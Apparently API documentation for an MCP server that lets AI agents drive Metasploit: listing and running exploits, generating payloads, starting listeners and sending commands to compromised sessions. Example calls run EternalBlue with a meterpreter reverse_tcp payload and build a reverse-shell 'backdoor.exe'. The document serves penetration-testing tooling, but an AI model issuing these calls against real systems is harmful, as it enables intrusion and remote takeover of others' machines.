This document describes the MCP tools provided by the Metasploit MCP Server.
The Metasploit MCP Server provides access to core Metasploit functionality through the Model Context Protocol (MCP). All tools are available via HTTP POST requests to the /mcp endpoint when running in HTTP transport mode.
When running locally with default settings:
http://127.0.0.1:8085/mcp
List available Metasploit exploit modules with optional filtering.
Parameters:
platform_filter(optional, string): Filter by platform (e.g., "windows", "linux")search_term(optional, string): Search term to filter exploits
Returns:
status: "success" or "error"exploits: Array of exploit module informationcount: Number of exploits returned
Execute a Metasploit exploit module.
Parameters:
module(string): Exploit module name (e.g., "exploit/windows/smb/ms17_010_eternalblue")options(dict/string): Module options (e.g., {"RHOSTS": "192.168.1.100"})payload(optional, string): Payload to usepayload_options(optional, dict/string): Payload-specific optionsrun_as_job(optional, bool): Run as background job (default: true)check_vulnerability(optional, bool): Check if target is vulnerable first (default: false)force_exploit(optional, bool): Force exploitation past inconclusive checks (default: true)timeout_seconds(optional, int): Timeout for exploit execution (default: 60)
Returns:
status: "success", "warning", or "error"message: Human-readable result messagesession_id_detected: Session ID if successfulmodule_output: Raw Metasploit output
List available Metasploit payload modules with optional filtering.
Parameters:
platform_filter(optional, string): Filter by platformarch_filter(optional, string): Filter by architecture
Returns:
status: "success" or "error"payloads: Array of payload module informationcount: Number of payloads returned
Generate a Metasploit payload.
Parameters:
payload(string): Payload type (e.g., "windows/meterpreter/reverse_tcp")format(string): Output format ("raw", "exe", "python", etc.)options(dict/string): Payload options (e.g., {"LHOST": "192.168.1.100", "LPORT": 4444})encoder(optional, string): Encoder to useiterations(optional, int): Encoding iterationsbad_chars(optional, string): Bad characters to avoidoutput_filename(optional, string): Desired filenamereverselistenerbindaddress(optional, string): Bind address (defaults to 0.0.0.0)reverselistenerbindport(optional, int): Bind port (defaults to LPORT)
Returns:
status: "success" or "error"message: Result messagepayload_size: Size of generated payloadserver_save_path: Path where payload was saved on server
List all active Metasploit sessions.
Returns:
status: "success" or "error"sessions: Dictionary of active sessionssession_count: Number of active sessions
Send a command to an active session.
Parameters:
session_id(int): Session ID to send command tocommand(string): Command to executetimeout_seconds(optional, int): Command timeout (default: 60)
Returns:
status: "success", "warning", or "error"output: Command outputsession_type: Type of session (meterpreter, shell, etc.)
Terminate an active session.
Parameters:
session_id(int): Session ID to terminate
Returns:
status: "success" or "error"message: Result message
Start a new Metasploit handler (listener) as a background job.
Parameters:
payload(string): Payload to handle (e.g., "windows/meterpreter/reverse_tcp")lhost(string): Listener host address (what target connects to)lport(int): Listener port (1-65535)additional_options(optional, dict/string): Additional payload optionsexit_on_session(optional, bool): Exit handler after first session (default: false)reverselistenerbindaddress(optional, string): Bind address (defaults to 0.0.0.0)reverselistenerbindport(optional, int): Bind port (defaults to lport)
Returns:
status: "success" or "error"message: Result message with job IDjob_id: Background job ID
List active handlers and other background jobs.
Returns:
status: "success" or "error"handlers: Dictionary of active handlersother_jobs: Dictionary of other background jobshandler_count: Number of active handlerstotal_job_count: Total number of background jobs
Stop a background job (including handlers).
Parameters:
job_id(string): Job ID to stop
Returns:
status: "success" or "error"message: Result message
Check server health and Metasploit connectivity.
Returns:
status: "healthy" or "unhealthy"metasploit_connected: Boolean indicating Metasploit connection statusversion: Metasploit version if connected
All tools return a consistent error format:
{
"status": "error",
"message": "Human-readable error description"
}Common error scenarios:
- Invalid parameters
- Metasploit RPC connection issues
- Module not found
- Session/job not found
- Timeout errors
- Permission errors
{
"tool": "start_listener",
"arguments": {
"payload": "windows/meterpreter/reverse_tcp",
"lhost": "192.168.1.100",
"lport": 4444,
"reverselistenerbindaddress": "0.0.0.0"
}
}{
"tool": "run_exploit",
"arguments": {
"module": "windows/smb/ms17_010_eternalblue",
"options": {
"RHOSTS": "192.168.1.50",
"RPORT": 445
},
"payload": "windows/x64/meterpreter/reverse_tcp",
"payload_options": {
"LHOST": "192.168.1.100",
"LPORT": 4444
},
"check_vulnerability": true
}
}{
"tool": "generate_payload",
"arguments": {
"payload": "windows/meterpreter/reverse_tcp",
"format": "exe",
"options": {
"LHOST": "192.168.1.100",
"LPORT": 4444
},
"output_filename": "backdoor.exe"
}
}- The server requires authentication to the Metasploit RPC service
- Generated payloads are saved to a configured directory on the server
- All network operations respect the configured bind address validation
- Session commands have configurable timeouts to prevent hanging
- The server validates all input parameters before passing to Metasploit
Currently, no rate limiting is implemented. Consider implementing rate limiting in production environments to prevent abuse.
All operations are logged with appropriate levels:
- INFO: Normal operations, connections, tool usage
- WARNING: Non-fatal errors, timeouts, validation failures
- ERROR: Fatal errors, connection failures, unexpected exceptions
- DEBUG: Detailed operation traces (enable with LOG_LEVEL=DEBUG)